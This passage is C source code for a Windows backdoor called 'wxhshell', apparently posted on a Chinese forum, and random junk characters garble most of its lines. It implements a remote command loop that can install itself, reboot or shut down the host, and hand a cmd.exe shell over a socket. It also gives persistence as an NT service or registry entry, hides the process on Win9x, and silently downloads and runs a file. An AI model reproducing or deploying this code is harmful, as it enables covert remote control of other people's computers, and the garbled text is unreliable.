    switch(cmd[0]) { ,iY/\ U''  
  @5+ JXD  
  // 帮助 ]:m>pI*z.  
  case '?': { K<'L7>s3lA  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |-GmWSK_  
    break; ;O5p>o  
  } 6Y<'Lyg/  
  // 安装 RG1~)5AL~Y  
  case 'i': { I?nj_ as  
    if(Install()) JDrh-6Zgj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RLBjl%Q>  
    else )xYv$6=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m22M[L(q  
    break; WD c2Qt  
    } *&]x-p1m  
  // 卸载 b37P[Q3  
  case 'r': { (,<&H;,8  
    if(Uninstall()) 6UOV,`:m+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *$mDu,'8  
    else *)+1BYMo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lX$6U| !  
    break; G66A]FIg  
    } 8@S7_x  
  // 显示 wxhshell 所在路径 EkS7j>:  
  case 'p': { q|,cMPS3  
    char svExeFile[MAX_PATH]; !m)P*Lw  
    strcpy(svExeFile,"\n\r"); >Q':+|K}  
      strcat(svExeFile,ExeFile); SZW+<X  
        send(wsh,svExeFile,strlen(svExeFile),0); M il ![A1  
    break; 4X,fb`  
    } 2gLa4B-  
  // 重启 <;}jf*A  
  case 'b': { a'=C/ s+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~Vq<nkWS  
    if(Boot(REBOOT)) e]R`B}vO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \-3\lZ3qj  
    else { V9 qZa  
    closesocket(wsh); 0T-y]&uo  
    ExitThread(0); mGR}hsQpn  
    } }`M53>C,gQ  
    break; kNqSBzg  
    } {?tK]g#  
  // 关机 9i4!^DM_  
  case 'd': { o;bK 7D  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3~ITvH,`s  
    if(Boot(SHUTDOWN)) ]4f;%pE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <j"}EEb^  
    else { m:|jv|f  
    closesocket(wsh); ue8Cpn^M  
    ExitThread(0); z*?-*6W  
    } $OOZ-+8  
    break; vpR^G`/  
    } &E|2-)  
  // 获取shell H>Wi(L7  
  case 's': { #Ezq}F8Y  
    CmdShell(wsh); F)P"UQ!\  
    closesocket(wsh); _cra_(b  
    ExitThread(0); cm^:3(yYX  
    break; |^&n\vXv  
  } <-KHy`u  
  // 退出 ,'[&" Eg  
  case 'x': { :.5l9Ci4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >'IFr9&3  
    CloseIt(wsh); hm#S4/=#  
    break; #Hm*<s.  
    } ds@X%L;_  
  // 离开 g=w,*68vuy  
  case 'q': { A$*#n8 ,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); O%RkU?ME  
    closesocket(wsh); h'Tn&2r6  
    WSACleanup(); Q|40 8EM  
    exit(1); X"QIH|qx-  
    break; 0uX"KL]Elf  
        } R  Fgy  
  } q;co53.+P)  
  } a(}dF?M=  
vd>K=! J  
  // 提示信息 |X&.+RI  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eeI aH >  
} @j +8M  
  } 7w}D2|+  
x:'M\c7  
  return; B&^WRM;7t  
} ke.{wh\0  
VrL==aTYXs  
// shell模块句柄 .XPcH(q  
int CmdShell(SOCKET sock) gp07I{0~m  
{ v @zpF)|  
STARTUPINFO si; "E`;8SZa  
ZeroMemory(&si,sizeof(si)); %ux%=@%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]L0GIVIE  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; b~F(2[o  
PROCESS_INFORMATION ProcessInfo; xs<~[l  
char cmdline[]="cmd"; 3#fu; ??1.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7P3PQ%:  
  return 0; d D6I @N)X  
} _isqk~ ul  
TMt,\gTd  
// 自身启动模式 Nxk3uF^  
int StartFromService(void) 4o,%}bo&  
{ >:W7f2%8`  
typedef struct >7@kwj-f)  
{ $Pa7B]A,Ae  
  DWORD ExitStatus; uK6_HvHuy  
  DWORD PebBaseAddress; 3f'dBn5  
  DWORD AffinityMask; 3L2@C%  
  DWORD BasePriority; .Q'/e>0  
  ULONG UniqueProcessId; Wxjv=#3  
  ULONG InheritedFromUniqueProcessId; en\shc{R]`  
}   PROCESS_BASIC_INFORMATION; :00 #l]g0q  
]RYk Y7>`  
PROCNTQSIP NtQueryInformationProcess; nya-Io.  
X4<!E#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U?/UW;k[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +rEqE/QF  
-[-LR }u  
  HANDLE             hProcess; |Ad1/>8i  
  PROCESS_BASIC_INFORMATION pbi; piIr .]  
3Cq/ o'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !]bXHT&!R  
  if(NULL == hInst ) return 0; "=~P&Mi_  
Fy4jujP<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -fF1vJ7L  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [~&C6pR  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); u15-|i{y7  
a`}b'X:  
  if (!NtQueryInformationProcess) return 0; y/' ^r?  
-9BKa~ DVQ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xw60l&s.\L  
  if(!hProcess) return 0; iG<rB-"  
HnvE\t9`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; q/w U7P\%  
ucm 3'j  
  CloseHandle(hProcess); .0x+b-x  
u rGk_.f  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wk { 9  
if(hProcess==NULL) return 0; q|PB[*T  
<:#O*Y{  
HMODULE hMod; 1VW;[ ocQ  
char procName[255]; AF{k^^|H  
unsigned long cbNeeded; K`.wj8zGY  
1](5wK-Z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); F",]*> r  
DJl06-s V  
  CloseHandle(hProcess); `?{Hs+4P5  
U^_'e_)  
if(strstr(procName,"services")) return 1; // 以服务启动 yQwj [  
c"aiZ(aP  
  return 0; // 注册表启动 j!r 4p,  
} Ph&AP*Fq  
\=+ s3p5N  
// 主模块 \ iL&Aq}BO  
int StartWxhshell(LPSTR lpCmdLine) Qy ; M:q  
{ ?DVO\ Cp  
  SOCKET wsl; f_1#>]  
BOOL val=TRUE; D .3Q0a6  
  int port=0; C]aa^_Ldd-  
  struct sockaddr_in door; yHW=,V.  
I\R5Cb<p  
  if(wscfg.ws_autoins) Install(); &s!"pEZWck  
G9\Bi-'ul  
port=atoi(lpCmdLine); Y""-U3;T~  
yI9~LTlA3  
if(port<=0) port=wscfg.ws_port; 7Dy\-9:v  
\GtZX!0  
  WSADATA data; |(Zv g}c_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; '< OB  j  
H~-zq} 4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   RVN"lDGA  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %UJ!(_  
  door.sin_family = AF_INET; m{={a5GD  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^RkHdA  
  door.sin_port = htons(port); 1E Lzzn  
RMB?H)p+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { bwM>#@H  
closesocket(wsl); HtOo*\Ne  
return 1; dN>XZv  
} W38My j!  
0pYz8OB  
  if(listen(wsl,2) == INVALID_SOCKET) { b2 ~~ !C  
closesocket(wsl); fys@%PZq  
return 1; qs6yEuh#  
} <!:,(V>F(C  
  Wxhshell(wsl); 8k'UEf`'(  
  WSACleanup(); Z,o*M#}  
<[xxCW(2  
return 0; GY4 :9Lub7  
p7(xk6W  
} Ty%4#9``0  
(]0$^!YK  
// 以NT服务方式启动 ToJV.AdfT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]?,47,[<  
{ L@?Dmn'v  
DWORD   status = 0; HZ=Dd4!  
  DWORD   specificError = 0xfffffff; 8?W!U*0aS  
87EI<\mP  
  serviceStatus.dwServiceType     = SERVICE_WIN32; );$Uf!v4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; '{kNXCnZ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]+[ NX)=  
  serviceStatus.dwWin32ExitCode     = 0; P ]2M  
  serviceStatus.dwServiceSpecificExitCode = 0; 1?HUXN#,  
  serviceStatus.dwCheckPoint       = 0; eif<aG5  
  serviceStatus.dwWaitHint       = 0; } oJ+2OepN  
wP1dPl_j:0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); zdn e2  
  if (hServiceStatusHandle==0) return; MxxYMR  
r&"}zyL  
status = GetLastError(); </<_e0  
  if (status!=NO_ERROR) wd*i~A3+?  
{ ZeK*MPxQ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; EF0{o_  
    serviceStatus.dwCheckPoint       = 0; n6WSTh  
    serviceStatus.dwWaitHint       = 0; HKP\`KBC j  
    serviceStatus.dwWin32ExitCode     = status; GQ&9by=}  
    serviceStatus.dwServiceSpecificExitCode = specificError; EA75 D&>I  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); O:q}<ljp  
    return; GZQ)Tz R  
  } J),7ukLu^  
c[<lr  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [w~teX0!  
  serviceStatus.dwCheckPoint       = 0; 7&NRE"?G  
  serviceStatus.dwWaitHint       = 0; e~J% NU'&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); q=bJ9iJsq  
} <(d ^2-0  
1*?IDYB  
// 处理NT服务事件,比如:启动、停止 N!;Y;<Ro_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) E?z 3&C  
{ 6fPuTQ}fY>  
switch(fdwControl) ,e>C)wq;  
{ M#})  
case SERVICE_CONTROL_STOP: /'E+(Y&:J  
  serviceStatus.dwWin32ExitCode = 0; !`,6E`Y#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; c@ En4[a'  
  serviceStatus.dwCheckPoint   = 0; * ok89 ad  
  serviceStatus.dwWaitHint     = 0; ] V]~I.  
  { 6\O4R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ix^:qw;  
  } yqlkf$?  
  return; "eI-Y`O,  
case SERVICE_CONTROL_PAUSE: j3`:;'L  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; H` Q_gy5Z(  
  break; +Qu~UK\   
case SERVICE_CONTROL_CONTINUE: -N5r[*>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; S=[K/Kf-  
  break;  A`#v-  
case SERVICE_CONTROL_INTERROGATE: GfQMdLy\Z  
  break; 5#d"]7  
}; ~n]:f7?I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t>&$_CSWK  
}  ceVej'  
@)VJ,Ql$Y  
// 标准应用程序主函数 O:r<es1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) CJjma=XH  
{ / c/!13|  
3`#sXt9C  
// 获取操作系统版本 nUmA  
OsIsNt=GetOsVer(); ErB6fl  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {>QrI4*A  
/RmLV  
  // 从命令行安装 fLc<}DF  
  if(strpbrk(lpCmdLine,"iI")) Install(); nT|fDD|  
(' `) m  
  // 下载执行文件 dSIMwu6u  
if(wscfg.ws_downexe) { kp<9o!?)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) XpOsnvW  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8 gOK?>'9  
} Dr(.|)hv[&  
I" sKlMD  
if(!OsIsNt) { l:Ci'=  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]t0?,q.$7  
HideProc(); N Ja]UZx  
StartWxhshell(lpCmdLine); {+ [rJ_  
} 3dadeu^{A  
else E'[pNU*"x-  
  if(StartFromService()) =h&DW5QC  
  // 以服务方式启动 f`WmRx]K  
  StartServiceCtrlDispatcher(DispatchTable); ^ 9;s nr  
else "793R^Tz  
  // 普通方式启动 &xH>U*c  
  StartWxhshell(lpCmdLine); f=~@e#U  
i-sE\m  
return 0; xZ`t~4qR  
}
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只看该作者 1 发表于: 2006-10-10
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